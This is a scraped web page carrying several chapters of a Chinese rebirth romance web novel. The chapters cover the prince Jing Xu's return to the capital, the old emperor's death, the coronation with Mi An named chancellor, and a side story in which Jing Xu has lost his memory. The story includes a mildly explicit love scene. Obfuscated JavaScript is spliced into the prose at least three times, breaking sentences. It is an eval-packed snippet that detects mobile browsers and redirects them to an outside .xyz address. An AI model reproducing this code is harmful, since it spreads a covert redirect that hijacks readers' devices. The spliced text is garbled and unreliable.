景煦遗憾道:“可惜一切都重新来过了,不然我将皇宫翻过来也要找到。” “就算没重来,你将皇宫翻过来也找不到。”宓安折了一页做记号,随口道。 景煦福至心灵,问道:“放在昭王府了?” 宓安不语,景煦一时不知是哭是笑。前世他将宓安从江南接回京后,两人在昭王府住过一段时间,当时只差一点就戳破暧昧的窗户纸,景陆却骤然毙命,他仓促登基,后来便再也没回过昭王府。 没想到宓安竟然偷偷回去过,还将花笺放在了那里。 “阿宓的花笺上写了什么?”景煦越想越好奇,心尖像被猫抓了似的难耐,恨不能找枨衔水送他回去亲眼看看。 宓安好笑地看着他,将茶方递了过去:“看看想喝哪个,回去煮给你。” 景煦接过,边翻边语带委屈地说道:“阿宓能不能再做些花笺送我?那个挂饰被枨……被师父抢走了,阿宓也要再送我一个。” 自从知道了枨衔水就是祝澜,景煦便很少直呼其名了,作为儿婿,不管真情还是假意,面上总要尊敬长辈才好。 “知道了。”宓安伸了个懒腰,躺在了景煦腿上,“这次回去没什么事了吧?” 景煦警惕道:“你要去哪?” “我要好好睡一觉。”宓安翻了个身,闭着眼睛说道,“我又不是你,二话不说就把我扔下。” “我错了。”景煦认错比翻书还快,“再有下次阿宓打折我的腿吧。” 宓安冷哼一声:“正有此意。” 两人在马车里温声交谈,宓安时不时就要骂景煦两句,周围副将越听越不对劲,也窃窃私语起来,齐怀仁突然问道:“殿下这次回京,是不是就要登基了?” 四周骤然安静下来,景煦虽然狠厉之名在外,但对他们还算随和,这么多年并肩作战,这些副将与景煦逐渐熟络,也敢调侃几句了,骤然意识到昭王殿下就要变成皇帝,几人一时不知是何心情。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811615|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 半晌,邓之武小声道:“哪天是好日子?” “九月十九?” “殿下登基后还能带咱们出来打仗吗?” “西岐都快没了,也没什么可打的了吧?” “那宓少师还是少师吗?” “这不是咱们该操心的!” “先……不是……皇上是不是还没驾崩呢?” 景煦在马车里听着外面的动静,对宓安道:“你看,我早说过,我脾气还是太好了。” 连新帝都敢妄议,真是胆大包天。 宓安笑了下,敷衍道:“是是是。” 景煦勾了勾宓安的下巴,被他瞪了一眼才放开,忽的扬声道:“齐怀仁,让大军先行。” 齐怀仁虽然不解,还是领命策马到了队伍最前,大军加快脚步向前,从马车两边绕过,将他们落到了后面。 宓安知道他这是又打算一路玩玩走走慢慢回京,闭着眼睛问道:“朝中如今是谁在主事?” “我岳父。” “就我爹一个?”宓安睁开了眼睛。 皇帝不在宫中,照惯例会安排两名以上重臣暂代朝政,几人相互商量,也能相互制约,让宓朗回一个人主事未免太不合规矩,朝中大臣又要对宓家虎视眈眈了。 “老头还没死呢,没事。”景煦笑道,“我同岳父说了,让他抽空就去老头寝殿看看,假装与他议事。” 宓安哭笑不得,景煦见他这副神情,立刻解释道:“这可不是我非要吊着他的命,是他自己日日吃你留下的药,我说了不能多吃,他不信。” “他素来疑神疑鬼。”宓安状似可惜地感叹道,“他那么喜欢景烈,却两辈子都死在景烈手上,真是报应。” “不过说来也怪,你爹他是不是有病?为什么不喜欢聪明的?”宓安实在是想不通,景烈那个蠢货到底哪点好,让景陆如此放不下。 被宓安夸聪明的景煦点了点头表示认可,说道:“我从小就和母后更亲,他害死了我母后,且心虚呢。” 大军已经远去,二人的马车优哉游哉地缓缓行进,枨衔水策马而来,忍着一口怒气,强迫自己平静下来,好声好气地问道:“你们两个在干什么?” 宓安从他平静的语气中莫名听出一股即将爆发的征兆,抬手掀开车帘,说道:“在闲聊。” 枨衔水努力挤出一抹自以为和善的笑:“你们会回去的,对吧?” 宓安忍俊不禁,连忙道:“会的,师父你先回吧。” 枨衔水一步三回头地走了,宓安远远看着,隐约觉得他两鬓的白发好像又多了些。景煦见宓安出神,伸长手臂揽住他的腰将人抱在了怀里,下巴搁在宓安肩头,问道:“有什么好看的?” 宓安耳朵发痒,回头笑着拍他:“别闹。路上不要耽搁了,早点回家吧。” 朝中大事景煦已经处理了大部分,但许多不大不小的琐事还需要他亲自过问,加上景陆命悬一线,国不可一日无君,他是一定要早些回去的。 但不知为何,宓安总觉得景煦有意一拖再拖,先是让大军先行,现在又拉着他下车进了一家客栈。 “天还没黑,住客栈做什么?”宓安奇怪地看着他,“况且马车宽敞的很,可以过夜。” 景煦理直气壮:“怎么能让你在马车里过夜,你伤还没好!” “……我没受伤。” 50. 回家 宓安本以为景煦只是不想那么快回去处理政事,毕竟他向来懒散,前世登基后也总赖床试图逃避早朝。 可今日他着实有些奇怪,天还大亮着就已经准备洗漱休息,宓安坐在一边看他铺被子,忍不住开口道:“这就准备睡了?” 景煦手上动作不停,回过头问道:“阿宓不累吗?那我陪你出去逛逛?” “我想回家。”宓安张开双臂,景煦立刻走过来抱住了他,笑道:“那走吧。” “啊?”宓安趴在他肩头,好笑道,“你都铺被子了,不睡了?” 景煦叹了口气:“你想回家,那就回吧。” 宓安推开景煦,让他坐好,自己则搬着凳子坐到了他对面,问道:“你怎么了?宫里有什么,这么不想回去。” “我有一点怕。”景煦拉住宓安的手,弯腰将脸埋在他腿上,“阿宓真的不会疏远我?真的愿意一直陪我?真的……” 他突然直起身子,直直望向宓安的眼睛,问道:“真的会一直喜欢我吗?” 宓安与他对视许久,手指不自觉摩挲着景煦的手,良久,似乎觉得这时说什么都有些多余,宓安干脆起身坐到景煦腿上,仰头吻上了他的唇。 景煦目光一沉,轻啄了一下怀里的人,笑道:“别勾我。” 宓安实在没想到景煦到了这个时候竟还在不安,或者说,他其实不敢置信景煦竟然也会有不安这种情绪。这个在外人面前狠厉无情的帝王,怎么会这么孩子气? “勾你怎么了?”宓安有意让景煦抛开这些无端的担忧,窝在他怀里又抬起了头,一边轻吻他的下唇,一边伸手缓缓解开了他的腰带。 景煦按住了宓安的手,哑声道:“阿宓,你想做什么?” 宓安笑了下,故作懵懂:“没想做什么呀。” 他盯着景煦的眼睛,一边解他的衣裳,一边扬声道:“所有人,暂离五里。” 随着一阵窸窸窣窣的声音,暗卫听命而去,直到周遭彻底安静,景煦的衣领也被宓安扯开了大半,外袍只剩一角摇摇欲坠地挂在他的肩头,露出大片肌肤。 宓安的划过他胸前的伤疤,心疼道:“还疼吗?” “早就不疼了。”景煦握住了宓安的手,声音低沉,“阿宓想做什么?” “不给摸?”宓安凑近,轻轻咬上景煦的咽喉,口齿模糊道,“不给摸我也要摸。” 景煦抱着人站起身,目的明确地向床榻走去,宓安搂着他的脖子,突然道:“对了,乌连今……” 身上的人目光不善地看向他,宓安笑了起来,乖巧道:“我明日再说。” 景煦轻轻“哼”了一声,低头封住宓安的唇,亲吻的间隙,宓安一手伸进了景煦敞开的前襟中,摸他劲瘦的腰,语调轻柔又勾人:“别弄疼我。” …… 一晌贪欢,两人不是初尝情事,久旱逢甘霖的云雨之间比前世更加契合。就算宓安羞于面对,但不得不承认,前世与景煦亲密之时,即使他百般拒绝,最后都是以他缠着人不放收尾。 如今也一样,宓安已经累得无力攀住景煦,却还是紧紧攥着他的手指,往人怀里钻。 景煦撑着身子,有一下没一下地顺着宓安的长发,轻笑道:“从前阿宓也是这样,千般不愿,万般抗拒,最后还是赖在我怀里不愿起来。” “我现在没力气。”宓安闭着眼睛,声音有气无力,“先记账,我会找机会骂你的。” 景煦低低笑了起来,揽过宓安光裸的背,上下其手,很不老实,宓安实在没力气躲避,只好任由他轻薄了。 除了儿时跟着枨衔水到处远游,其他时候宓安都待在家里研究些感兴趣的东西,枨衔水假死后,宓安出门的次数就更少了,连练功都挑在晚上。长年累月不见阳光,以至于天生白皙的皮肤更白几分,甚至透着些病态的苍白。 这段时间虽然劳累,宓安却渐渐有了血色,脸色也红润了许多,比之从前一副弱柳扶风的模样,现在倒更风姿绰约了。 现下宓安揽着被子,香肩半露靠在景煦怀中,身上点点红痕格外显眼。景煦想起从前见过宓安杀人,一袭白衣翻飞,对手的血溅在他身上,像极了红梅映雪,一片凛冬的肃杀之气。此情此景,也像极了红梅映雪,却是立春之初冰雪消融时红梅自雪中探出头来,虽然寒凉,却更显初春和煦。 景煦忍不住低下头,在宓安身上又添了一朵红梅。 日上三竿,宓安终于悠悠转醒,睁开一只眼睛瞄了景煦一眼,却见这人正直勾勾盯着自己,宓安迷迷糊糊,奇怪道:“怎么醒这么早?” 他的声音沙哑,景煦立刻起身倒了杯茶,笑道:“没睡。” 宓安抿了一口茶:“你可真有精力。” “年轻自然力壮,我还能与阿宓大战三百回合。” 宓安将茶喝完,润了润嗓子,温声道:“滚。” “不滚。”景煦学会了耍无赖,且越发得心应手,一把搂住宓安就蹭进了他怀里,宓安用力推开他,恼羞成怒:“光天化日!” “亲一口又不碍事。” 被宓安连骂带打,景煦终于心满意足地下床穿好了衣裳,出门将暗卫叫了回来。 耽搁许久,华贵的马车终于不再停留,一路往京城驶去。 秋去冬来,宓安已经穿上了大氅,晨间霜气渐重,不知不觉,立冬已经过去了小半月。 长安城繁华如旧,离家大半年,宓安有些迫不及待想躺一躺自己的床榻了。 纵然景煦百般不舍,还是被宓安赶着先回宫处理政事,又抱着宓安让他再三保证会入宫陪他用晚膳,这才一步三回头地走了。 宓安将人赶走,自己回了将军府,宓朗回一早接到了两人回京的消息,已经等在了正堂,见宓安独自回来,奇怪道:“长昱呢?” “回宫了。”宓安发了个呵欠,“您怎么在家?” 朝政繁忙,宓朗回竟然有空闲回家等他,宓安着实有些惊讶。 宓朗回冷声道:“一早就听说你们回京了,我撂挑子不干了。” 宓安好笑道:“这不是怕您劳累,景煦一回京就先进宫了。” 宓朗回不置可否,沉声道:“景陆已经快不行了。” “我知道。”景陆全靠宓安的药吊着一口气,什么时候断气宓安最清楚不过。 “青疏,你从小就不用我操心。但长昱登基,你……”宓朗回叹了口气,“我知道你心中有数,只是天子就是天子,往后你要谨言慎行才是。” 就宓安这五句话不到就要骂景煦一句的脾气,宓朗回是真怕他惹得龙颜大怒,纵使如今景煦待他亲近,不会计较,但至高无上的权力之下,难保不会彻底改变一个人,景陆便是最好的例子。 宓安左耳进右耳出,敷衍地点了点头,换了衣裳进宫找“天子”吃饭去了。 “见过少师。”王顺也大半年没见宓安了,听说人进宫了,远远就迎了上来,“少师瘦了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815940|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,气色倒是好了许多。” “王公公。”宓安打了招呼,笑道,“跟着殿下打打杀杀的,脸色累也累红了。” 王顺笑着将人引进内殿,景煦正被埋在成山奏折中抬不起头,见宓安来了,顿时满目哀求:“阿宓,帮我批折子。” 宓安看着被奏折堆满没有一点空隙的桌案,语出惊人:“后宫不得干政,帮不了你。” 景煦:“?” 王顺去御膳房催晚膳了,宓安也忙不迭跟了上去,居然要他批折子,景煦做什么梦呢。 天气渐凉,御膳房添了羊肉锅子,前世宓安就很爱吃,只是最会做锅子的厨子在景煦登基五年后就因病去世,后来的人再做也没有同样的味道了。 重生后碍于景陆还在,宓安便不爱进宫,这还是他第一次到御膳房来。 羊肉的香气远远飘了出来,宓安眼睛一亮,矜持道:“王公公,如今御膳房的主厨可还是洪方?” 王顺道:“回少师,正是。” 宓安不由加快了脚步,站在厨房门口看着洪方壮硕的背影,不由感慨万分。 洪方将最后一勺汤浇在羊肉上,抬头就看到了宓安,正疑惑这是哪位贵人,就看到了他身后的王顺。 “见过王公公。” 王顺笑道:“同咱家客气什么,这位是宓少师,宓将军家的公子。” 洪方连忙行礼,宓安暗自好笑,他爹的名声真是足够响亮,哪怕他早就及冠,且有官职在身,旁人介绍他时还是会带上“宓朗回的儿子”。 “洪师傅不必多礼,我见你面色不佳,似是体寒之症。”宓安从袖中拿出两个瓷瓶递给洪方,“一早一晚各吃一粒,好好调理。” 洪方受宠若惊,连连道谢,宓安亲自端起一锅羊肉,诚恳道:“不用谢。”你可千万要好好活着。 王顺端起另一锅,跟在宓安身后回了寝殿。 “殿下,吃点东西吧。”王顺将锅子放在小桌上,叫了一声景煦便起身退了出去,宓安也将锅子放下,学着王顺的语气道:“殿下,吃点东西吧。” 景煦的折子已经批完了一多半,现下头疼眼晕,没等他起身,就有宫人急切来报:“昭王殿下!殿下!陛下……陛下驾崩了!” 话音未落,周遭宫人齐齐跪了下去,景煦立刻起身吃了两口羊肉,小声埋怨:“早不死晚不死,耽误我吃饭。” 宓安笑了下,拿了个小碗盛出一碗汤晾着:“外面天冷,喝碗汤再出去。” 景煦乖乖喝了,又亲了口宓安,这才往景陆住的小殿去处理后事了。 先帝驾崩,为表孝心,按规矩景煦是要在他棺前不吃不喝跪上一夜的,然而景煦本就对景陆没什么孝心,巴不得他早点死,于是与前来吊唁守灵的众大臣假模假样寒暄过后,景煦便独自坐在了景陆棺前,百无聊赖地往火盆里扔着纸钱。 只是每来一个大臣景煦就要起身假装跪了许久,再由大臣声泪俱下劝他不可过度伤心定要保重身子,景煦拒绝,大臣再劝,如此往复,心累身累。 宓安来时,殿外已经跪满了大臣,景煦远远听着有脚步声,百般不情愿地跪了起来,宓安好笑道:“坐着吧。” 景煦一愣,笑着看向他:“累的我都听不出你的脚步声了。” 宓安拿了个蒲团也坐了下来:“按规矩,两日后你就该登基了吧?” 景煦点了点头,身子一歪靠在了宓安身上,试探道:“阿宓,我们私奔吧?” 51. 逢春 宓安一愣,立刻四处看了看,见确实无人才松了口气,小声道:“别说疯话,小心师父听见。” 枨衔水要是听见了,怕会连夜拎着刀杀过来,不管是架在自己脖子上还是架在景煦脖子上,一定要把他们两个劈头盖脸都骂一顿再亲眼看着景煦登基才罢休。 景煦叹了口气,靠着宓安闭目养神,不多时竟缓缓睡着了,宓安心疼他劳累,便唤来暗卫,吩咐他们守住大殿,不许任何人进入。 期间有大臣哭天抹泪以头抢地,一定要见景煦,影十三门神般守在门口,机智无比:“殿下伤心过度,无心见人,各位大人等明日吧。” 殿中灯火微晃,前世景陆死时宓安并未入宫,独自在昭王府待了几天。等他进宫之时,景煦已经是新帝了,他竟连登基大典都错过了。 那时景煦是不是独自在这冰冷的大殿里坐了一夜,一边假装伤心,一边与大臣们虚与委蛇。 宓安侧头看着靠在自己身上熟睡的人,抬手捋了捋他的头发。这一次,他要陪景煦一步一步走下去,从现在,到登基,到未来每一个朝夕。 月上中天,景煦恍然又梦到从前,重生不过短短两载,竟又走到这一步了。 他深深叹了口气,握住了宓安的手。 “醒了?”宓安回握住,“要见大臣吗?方才兵部尚书差点哭晕过去。” 景煦莫名道:“他哭什么?今年年初他还在家里怒骂死老头无能只会求和,还说希望我早日登基。” “难道是喜极而泣了。”宓安好笑地看了殿外一眼,忽然听见门外传来宓朗回小声的疑惑:“伤心过度?谁伤心过度?” 景煦:“……” 宓安忍俊不禁,亲自出去将宓朗回迎了进来,宓朗回满脸不解,一进门就看见景煦正盘腿坐在地上,旁边还有个也凹陷了一块的蒲团,当即瞪了宓安一眼,压低声音训斥道:“我同你说的,你到底听没听进去?” 景煦睡眼朦胧地看了过来:“说的什么?” 宓安随口敷衍亲爹:“听进去了。”转头又敷衍景煦:“问这么多做什么。” 景煦“哦”了一声,宓朗回又瞪向宓安:“你这叫听进去了!?” 宓安一个头两个大,连声道:“真听进去了,爹,这几日我先不回府了,两日后还有的忙。” 宓朗回一听这话就知道他根本左耳进右耳出,但毕竟是在宫里,景煦还在这,他也不好说什么,只能又低声训了宓安几句,出去和群臣一起跪灵了。 “我也出去跪着吧?”宓安探头探脑地看了看殿外跪了一地的大臣,“我爹都在外面跪着,我坐这多不合适。” 景煦半睁着眼笑了下,叫了个暗卫进来:“让宓将军去偏殿歇着,就说先帝遗嘱交待了宓将军战功赫赫又与他情同手足,不必跪灵。” 暗卫领命走了,宓安好笑道:“这下我爹又要骂我了。” 两人坐在一起有一搭没一搭地闲聊,直至晨光熹微,一缕阳光透过窗棂照到了宓安脸上,景煦盯了他许久,忽的凑近在他唇上轻吻了一下。 宓安一愣,笑道:“做什么?” “阿宓。”景煦看着他,压下心中不安,“我们又走到这个时候了。” 又到了,前世宓安与他走向陌路的时候。 宓安也看向景煦,抬手抚上他的脸:“上一次我独自留在昭王府,但现在我在这里,别担心。” “好。”景煦站起身,深深呼出一口气,“那走吧,今日该试朝服了。” 门外跪了一夜的大臣们已经按规矩催起了景煦,不论真心假意,嘴上全是“国不可一日无君还请昭王殿下早日登基”云云,景煦面无表情地推开门,冷声道:“诸位大人辛苦,请回吧。” 晨光洒在景煦身上,仿佛为他镀了一层金,少年帝王面无波澜,缓步走下台阶,身侧群臣跪拜,齐呼万岁。 宓安站在殿内阴影里,远远看着景煦离去的背影,悄无声息地跟在了人群最后。 已经走出一段的景煦忽然停下脚步,回头喊道:“宓少师,随朕来。” 宓安抬脚就要过去,身后是宓朗回急切又小声的嘱咐:“青疏,谨言慎行!” 他这话景煦自然是听得见的,转过身压下笑意,径直向朝阳殿走去。 玄色鎏金的龙袍早就挂在了殿内,王顺正带着宫人做最后的整理,见景煦回来,众人齐齐行礼:“吾皇万岁!” 景煦挥手让人起来,说道:“都出去吧。” 殿门关上,屋内只剩两人,景煦看着龙袍,宓安看着景煦。宓安不知前世景煦走到这里时是何心情,儿时母亲早亡,父亲待他冷漠,即便坐在至高无上的位置上,他有一日开心过吗? 身边还有一个日日往他心上插刀子的自己。 “陛下。”宓安忽然开口,景煦皱着眉回头看他:“怎么又这么叫我?” 宓安笑了下:“那你想我怎样叫你?” 景煦垂下眼睛,语气凝重:“只要不是这个,都好。” 前世宓安总是客气疏离地叫他“陛下”,当真把他叫怕了。 宓安缓步走近,伸手解景煦的衣裳,片刻便将他的外袍脱下,又转身去拿龙袍,替他穿好。 景煦垂眸盯着宓安纤长的手指在自己胸口摆弄,一时心猿意马,系最后一根系带时,宓安缓缓开口:“知道了,夫君。” “阿宓撩拨我?”景煦被这称呼叫得一愣,旋即咬牙切齿,“等忙完这些,看我怎么收拾你。” 宓安笑道:“那我等你。” 景煦心痒难耐,凑近讨吻,宓安偏头躲过:“有人来了。” 景煦忽视门外渐近的脚步声,搂着宓安的腰一定要亲,边亲边道:“阿宓,这龙袍你穿也合适。” “说什么疯话。”宓安软软地瞪了他一眼,推开他的手,枨衔水推门而入,大声吼道:“你说什么疯话!?” 景煦收起笑,不满地看向他:“你来做什么?别打扰我和……” “你以为我想来!”枨衔水不留情面地打断,“你能不能别给我添乱!” 宓安笑了起来,轻轻拍了拍景煦:“师父要为你授天礼的,你别气他。” 历代帝王登基,都要国师授“天礼”,以示天子身份已得上天认可,景烈造反时每日让人骚扰枨衔水便是因为这个。 景煦敷衍地点了点头:“谢谢师父。” 枨衔水将一颗珠子交给景煦,嘱咐道:“明日登基带上这个,给你造些天象。” “听起来好像江湖骗子。” 枨衔水瞪向他,景煦立刻收声,宓安好笑地看着两人,一时颇为感慨。 重生不过两载,前世在宫中的十几年竟已恍如隔世,仿佛大梦一场,若不是枨衔水鬓边多出的一缕白发实在显眼,他真的要以为前世的一切只是一场梦了。 这样想着,宓安看向了枨衔水,突然道:“师父,你的白发好像变少了。” 枨衔水满意地点了点头:“他要登基了,国祚稳定了,我的修为养回来了。” 说完,他立刻指着景煦,警告道:“所以,别说疯话,好好做皇帝,好好待百姓。” “还有你。”枨衔水又指向宓安,“不许跟他闹别扭,不许动不动就殉情!” “殉情”两字听得宓安红了耳朵,他看了一眼忍不住笑的景煦,推着枨衔水出了寝殿:“知道了师父你别说了!!” 翌日,天还没亮景煦便要起来行祭礼,宓安强撑着睁开眼,亦步亦趋跟在他身后,身前的人突然停下脚步,宓安一头撞上了他的后背,皱着眉抬头凶道:“好疼。” 景煦轻轻揉了揉他的额头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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景煦向宓安伸出手,示意王顺宣读圣旨。 “……诏曰:爱卿宓青疏,忠勤懋著,六艺悉备,今册为丞相,任百官之首,望爱卿与朕共忧国事。” 宓安听着王顺宣读,哭笑不得:“你这圣旨,没有一个字是合规矩的。” 王顺将圣旨交给宓安便退了下去,景煦拉着宓安的手理直气壮道:“朕便是规矩。” 宓安顾忌百官,挣开他的手,敷衍道:“那臣谢主隆恩。” 众大臣已经暗自惊叹新皇果然与宓家感情慎笃,宓安不过二十出头,竟坐上了丞相之位。 宓朗回心里正乱,却见景煦已经走到了他面前,弯腰将他扶起,对百官道:“宓将军劳苦功高,为大渊平定边疆战功赫赫,朕感念于心,往后宓将军见朕不必行礼,尔等亦要尊敬功臣。” “臣等,领旨——” 宓朗回迟迟回不过神,景煦已经松开了他,回头寻宓安去了。 宓朗回抬起头,看见自家儿子站在台下,等着新帝走近,二人在小雪中一同往后宫走去。 恍惚间,他好像又看到二十年前那两个小小的身影,打打闹闹蹦蹦跳跳,在皇宫里,在将军府。 “师父才说让我看住你,你就这么任性。”宓安低头看着手里的圣旨,无奈道,“我爹又要上火了。” 景煦边走边打开了枨衔水给他的锦盒,随意道:“我岳父就是太守规矩,你就不像他。” 宓安瞥他一眼,正想说我哪里不守规矩,不就是多骂了你几句,却看见锦盒里眼熟的花笺,一时奇怪道:“我的花笺?” 景煦点点头:“师父给的,他说是你前世留在昭王府的。” 宓安突然觉得脸有些烫,雪花落在脸上都没察觉,强作镇定道:“这张是你前世登基那日写的。” 景煦一惊,小心拿起,精致花笺上,宓安清雅遒丽的小字映入眼中: 愿君千万岁,无岁不逢春。 ─完─ 52. 番外一 今夏不像往年炎热,入夜后的微风带着些许凉爽,吹动御花园里满池荷花。 景煦前世做了十几年皇帝,朝政之事大多得心应手,只是到底事多繁忙,常常批折子到深夜。 宓安醒来时已经月上中天,寝殿里烛火未灭,灯花噼啪爆开,身边的被褥齐整,不像有人睡过。 “王公公?”宓安开口才惊觉自己声音沙哑,暗骂景煦不知节制。 宫人闻声快步走近寝殿,头垂在胸前不敢看宓安一眼:“宓相有何吩咐?” 见来人不是王顺,宓安以为他轮休,也未在意,问道:“陛下还在御书房?” “回宓相,是的。” “没事了。”宓安摆手让他出去,起身披了件衣裳。 他现在腰酸背痛,小臂上红红紫紫满是欢爱痕迹,低头一看胸口,果然也没有幸免于难。 宓安搜了搜酸疼的腰,穿好衣裳慢悠悠去了御书房,准备骂他一顿, “见过宓……” “不必多礼。”宓安直接推开了御书房的大门,宫人们眼观鼻鼻观心,放轻脚步退到了一旁。 宓安多看了这几人一眼,心下奇怪,这几人眼生,兴许是刚入宫的新人,可新人怎么能分到景煦身边的? 御书房内灯火通明,磨墨太监轻手轻脚,大气都不敢喘,宓安见景煦低头看折子,眉头紧皱,想来又是一些烦心事。 “怎么还在批折子?”宓安声音带着困意,景煦浑身一僵,慢慢抬头看向了他。 磨墨太监连忙行礼,宓安奇怪地看了他一眼,怎么连贴身伺候笔墨的宫人都换成新人了? “你先下去吧。”宓安将人打发走,小小地发了个哈欠,径直走向桌案,将景煦的手臂拉开,直接坐到了他腿上,在他怀里找了个舒服的姿势,闭着眼睛问道:“什么时候休息?好困。” 景煦被他蹭的愣住,一手拿着笔不知如何动作,等了半晌没听到回应的宓安睁开一只眼,奇怪道:“怎么了?很麻烦吗?” 说着,他转头看向桌上的奏折,无非就是大骂礼部尚书的公子仗势欺人,尚书管教无方云云。 “也不是什么麻烦事。”宓安又靠回景煦胸口,“别批了,明日上朝当面骂他就是了。” 良久,景煦颤抖着声音,试探道:“阿宓?” “嗯?”宓安已经快要睡着了,轻轻应了一声,埋怨道,“你看看我身上,没有一块好地方,你竟然还有心情批折子。” “我的错……” “下次不许留这么多痕迹了。”宓安声音渐轻,“明日找师父要些药膏……你去要,我丢不起这人。” 景煦不明所以,问道:“师父?” “上次见他时好像又在研究什么稀奇古怪的东西。”宓安被景煦挑起话头,也没那么困了,“还有我爹,前天回家他又骂我,你不许咬衣裳挡不住的地方。” 景煦沉默许久,轻声道:“阿宓?” “你怎么了?”宓安醒了盹,这才察觉出景煦的不对劲,平日里这时景煦已经在亲他了,而这人现在浑身僵硬,两只手虚虚放在桌案上,竟然都没抱住他。 “你师父,和宓将军,不是早就过世了吗?”景煦想探一下宓安的额头,快触碰到时却屈了屈手指,还是收回了手。 宓安竟然主动来找他,还如此亲密地坐在了他腿上,不用探也知道八成是生病烧糊涂了。 宓安怔愣许久,忽然站起身,轻功用到极致向占星台飞奔而去,景煦慌忙跟上,一白一黑两道身影飞檐走壁,往来宫人只觉两阵风刮过,什么都没看清。 “师父!!师父!!”宓安满脸慌张,用力捶着占星台的大门,“师父!!” 为什么……为什么他又回到了前世?重生的这几年难道只是黄粱一梦? 枨衔水打开门,被吵醒还带着怒气:“大半夜的你又干什么?” 看见枨衔水乌黑一片没有杂色的头发,宓安猛地松了口气。 前世枨衔水有一缕白发,让他和景煦重生后又多了一缕,但景煦登基后国祚绵长,枨衔水又养了回去。 “师父,我爹呢?”宓安只松了半口气,“还有景煦,他怎么什么都不记得了。” 枨衔水心虚地向右走了一小步,挡住了宓安的视线,起床气也消散了:“出了点儿意外,三五天就恢复了。” 宓安回头看了一眼景煦,这人虽然不知道自己为什么来占星台,但还是立刻跟了过来,正满眼担心地看着他。 “放心放心。”枨衔水保证道,“最多五天。” 宓安“哦”了一声,又不确定地问他:“真的能恢复?之前的一切……不是我在做梦?” “真的能。”枨衔水点头道,“你看你这不是都还记得,我也记得。” “知道了。”宓安放松下来,“那你快点。” “行了,快回去睡吧,天都要亮了。” 景煦完全没听懂两人在说什么,国师神出鬼没,他只在登基那日见过一次,现下见宓安和国师如此熟稔,满心疑惑化作醋意,却又不敢多说半句。 生怕宓安又要离他而去。 “景煦。”宓安回头看向跟在身后的人,景煦抬眼,扯出一个勉强的笑:“怎么了?” 宓安冲他张开手臂:“好累,抱我回去。” 景煦呼吸一窒,怔愣地看着他,宓安抬着手臂隐隐发酸,皱眉道:“不抱?” 景煦连忙上前一步,拦腰将人抱了起来。 宓安熟练地搂着他的脖子,哈欠连天:“你是不是该去上朝了?我不去了,回去再睡会儿。” 重生这么久,对着这般小心翼翼的景煦,宓安真是万分不习惯,但他被折腾了一夜,现下实在困的要命,反正景煦不会跑,索性先养足精神再说。 正午日头正毒,景煦还在御书房议事,宓安睡醒就又跑去了占星台,咚咚咚地敲枨衔水的门,宫人不敢拦当朝丞相,只好在一旁垂头装聋作哑。 “又想干什么?”枨衔水不耐烦地打开门,“老实点。” 宓安抿了抿嘴,有些委屈:“师父……” 枨衔水叹了口气,揉了一把宓安的头,宽慰道:“真的没事,我这星盘出了些意外,很快就能归正了,安心。” 宓安点了点头,原路返回去寻景煦了,枨衔水立刻关了门,手忙脚乱地收拾散落的星盘。 前世和今生的皇宫并没有什么差别,只是重生后景煦让人往二人常住的院里栽了几棵梨树,每年春来梨花如雪,既是一景又能酿酒。 宓安看着空荡荡的院子,心头又涌上一阵惶恐。 往来宫人早已习惯百官之首常住宫中,平日也常撞见陛下和丞相不可言说的相处,只是宓安常常一整天都房中看书,也从不给景煦好脸色,这还是头一回见他独自出门。 “阿宓?” 宓安抬眼,看到了一身玄色鎏金龙袍的景煦,终于稍稍安心下来。 “怎么站在这里?”景煦拿过身旁宫人手里的伞,三步并作两步到了宓安身前,替他挡住了毒辣的日头,“晒伤了怎么好?快进屋去。” 宓安失笑:“我哪有这么娇贵。” 景煦不置可否,一手撑着伞,和宓安保持着合适的距离,催他回屋。 宓安眨了眨眼:“我以为你会抱我回去。” 景煦一愣,手里的伞立刻被他丢到一边,拦腰抱起宓安大步回了屋内。 自从登基,宓安就总和他疏远,骤然如此亲近实在让景煦受宠若惊,将人抱回来竟然愣在原地,不知该把宓安放到哪里才好。 宓安示意景煦坐到床上,自己则就着这个姿势坐在了他的腿上,景煦浑身僵硬,宓安靠在他胸口,伸手抱紧了他的腰,轻声道:“对不起。” 景煦抱紧了怀里的人,声音沙哑:“何出此言。” 宓安抬头亲了亲他的下巴,好笑道:“你这么说话我好不习惯。” 景煦沉默片刻,带着几分委屈重新开口:“阿宓这是什么意思?” “先亲一会儿,回头解释。”宓安坐直身子,咬上景煦的下唇,被爱人主动亲吻的九五至尊哪还有帝王之风,立刻勾着宓安的舌头回吻,恨不能将满心委屈满心爱意都说给他听。 宓安张着嘴接纳他,暧昧的水声在空荡的寝殿里格外明显,景煦悄悄红了耳尖,宓安被亲的喘不上气,好笑道:“陛下……你害羞什么?” 景煦不回答,低头还要再亲,宓安侧头躲开,毫不避讳地撩开了自己的衣裳,让他看满身红痕:“昨夜把我弄成这个样子,亲一下倒害羞了。” “……对不住,是我孟浪。” 宓安摇摇头:“好好说话。” 景煦紧张地抿了下唇,说道:“对不起?” 